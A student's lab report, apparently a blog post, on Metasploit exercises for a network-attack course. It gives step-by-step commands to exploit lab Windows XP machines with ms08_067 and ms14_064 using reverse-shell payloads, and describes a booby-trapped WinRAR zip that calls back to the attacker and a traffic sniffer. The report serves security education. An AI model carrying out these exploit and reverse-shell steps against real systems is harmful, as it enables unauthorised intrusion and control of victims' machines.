2019-2020-2 20175317钟睿文《网络对抗技术》Exp6 MSF基础应用

2019-2020-2 20175317钟睿文《网络对抗技术》Exp6 MSF基础应用

实践目标

掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。

实践内容

  • 一个主动攻击实践,如ms08_067;

  • 一个针对浏览器的攻击,如ms11_050;

  • 一个针对客户端的攻击,如Adobe;

  • 成功应用任何一个辅助模块。

实践过程

主动攻击实践,ms08-067(成功)

靶机:Windows xp English
IP:192.168.122.143

输入图片说明

主机:Kali
IP:192.168.122.136

输入图片说明

之后确保两台机器之间能ping通:

输入图片说明

进入msf,使用search ms08-067查看漏洞位置

使用use exploit/windows/smb/ms08_067_netapi选择该漏洞

使用show payloads查看可用载荷

输入图片说明

使用set payload generic/shell_reverse_tcp设置攻击有效载荷

使用set LHOST 192.168.122.136设置监听者地址

使用set LPORT 5317设置监听者端口

使用set RHOST 192.168.122.143设置靶机地址

使用set RPORT 5317设置靶机端口

show options查看设置信息

输入图片说明

exploit开始攻击

输入图片说明

开始攻击显示靶机5317端口连接失败,将端口换为445端口,再次进行攻击

输入图片说明

一天了!终于攻击成功了!!!

攻击浏览器的实践,ms13-008(失败),ms13_037(失败),ms14-064(成功)

靶机:Windows xp English
IP:192.168.122.143

输入图片说明

主机:Kali
IP:192.168.122.136

输入图片说明

进入msf,使用search ms13查看漏洞位置

输入图片说明

使用use exploit/windows/browser/ie_cbutton_uaf选择该漏洞
输入show options看一下需要设置哪些

输入图片说明

提示需要设置SRVHOST与SRVPORT

使用set SRVHOST 192.168.122.136设置监听者地址

使用set SRVPORT 8080设置监听者端口

exploit开始攻击

输入图片说明

提示被攻击者访问http://192.168.122.136:8080/343iAnh

在xp访问该网站,但是msf显示ie不支持,攻击失败……

输入图片说明

行8,那没事了,试试别的吧。
我试了许多,本来还想挨个截图把过程贴上来,结果发现全贴上来也太多了!!!
我试到ms13_037的时候,发现有戏,下面是我试ms13_037的过程

输入图片说明

首先是show options查看要设置的选项,设好后发现要win7 sp1,我又安好虚拟机,执行攻击后打开网址发现有戏!

输入图片说明

但是这浏览器给我拦截了!我就改了他的设置,把安全设置里的控件等全部无脑调低,结果:

输入图片说明

绝了,我就是想运行它,但是我的电脑不听我的,我也没找到方法让他运行……再试试别的8……

最终我决定使用ms14-064,msf中使用use exploit/windows/browser/ms14_064_ole_code_execution选择攻击模块

设置好攻击机的IP与端口,使用的载荷等信息,然后开始攻击
在xp中打开生成的url,可以在kali中看到创建了一个链接:

输入图片说明

使用ctrl+c退出当前状态,通过sessions -i 1获取第一个会话
使用ipconfig查看靶机地址:

输入图片说明

发现攻击的是xp主机,攻击成功。

攻击客户端的实践,Winrar(成功且唯一)

使用下图中的命令生成.zip文件

输入图片说明

把生成的zip文件拖到主机中,与普通的zip文件毫无区别

输入图片说明

在kali首先开启监听,然后在winrar中打开压缩文件,发现kali已经回联成功了

输入图片说明

成功应用任何一个辅助模块,sniffer监听(成功且唯一)

使用命令show auxiliary查看所有的辅助模块,我最后选择了sniffer嗅探器进行实验

调用模块use auxiliary/sniffer/psnuffle

设置好IP后直接运行监听,我在被监听机打开了百度,kali中马上就出现了相应记录,监听成功

输入图片说明

实验中遇到的问题

问题一:攻击时显示利用漏洞攻击完成,但会话未创建

输入图片说明

问题一解决方案:创建符合攻击要求的虚拟机,再次进行攻击即可成功(但是我看到他符合要求的系统中有XP sp3简体中文版……  ̄▽ ̄)

输入图片说明

实验收获与感想

本次实验绝大多数的时间花费在找靶机上。这说明msf对漏洞的攻击对系统和软件版本具有较强的专一性,也可以看出厂商在不断的修复自己的漏洞。其次,我觉得我们的实验与实际相差还是比较大的,要完成攻击还要把安全系数调低,可现实中谁会把自己的电脑安全设置调低呢?
在实验过程中我觉得看好该漏洞能攻击的对象是比较重要的一步,否则自己折腾半天也不会成功。在攻击前提前看好靶机要求是什么,要使用什么口令,设置什么参数,这样可以避免盲目的实践导致时间的浪费。
总的来说这次试验就是在考验我和我的电脑,遇事要平静的寻找解决方法,一味烦躁是没有用的,一个不行就在下一个呗。做完实验我也毫不犹豫地买了一个内存条,毕竟同时运行5个虚拟机可不是个轻松事……

问题回答

用自己的话解释什么是exploit,payload,encode.
Exploit是渗透攻击,就是攻击方利用系统或软件漏洞得到开发者没有预期到的结果,渗透攻击分为主动渗透攻击与被动渗透攻击
payload是载荷的意思,实验中指一段指令或shellcode,简单来说就是攻击后要执行的代码或命令
encode是编码的意思,通过编码可以消除渗透攻击过程中应加以避免的“坏字符”,如0x00空字节。代码开发者将坏字符统一标出,就成为了编码方式,可以直接拿来使用。

离实战还缺些什么技术或步骤?

首先肯定是信息搜集,实践中我们可以把控靶机的系统版本,但是实际中我们需要了解目标的系统版本,然后有针对性地采取措施。
其次是要将后门程序悄无声息的放入靶机中这部看似简单,但是实际中要逃过杀软与人为的检测,所以需要伪装和免杀处理。

参考资料

Kali-linux使用Metasploit基础
MS-2017-010(Eternalblue)EXP移植Metasploit攻击
关于NSA的EternalBlue(永恒之蓝) ms17-010漏洞利用
Kali Linux Web 渗透测试秘籍 第七章 高级利用

posted @ 2020-04-25 18:51  20175317zrw  阅读(267)  评论(2编辑  收藏
//点赞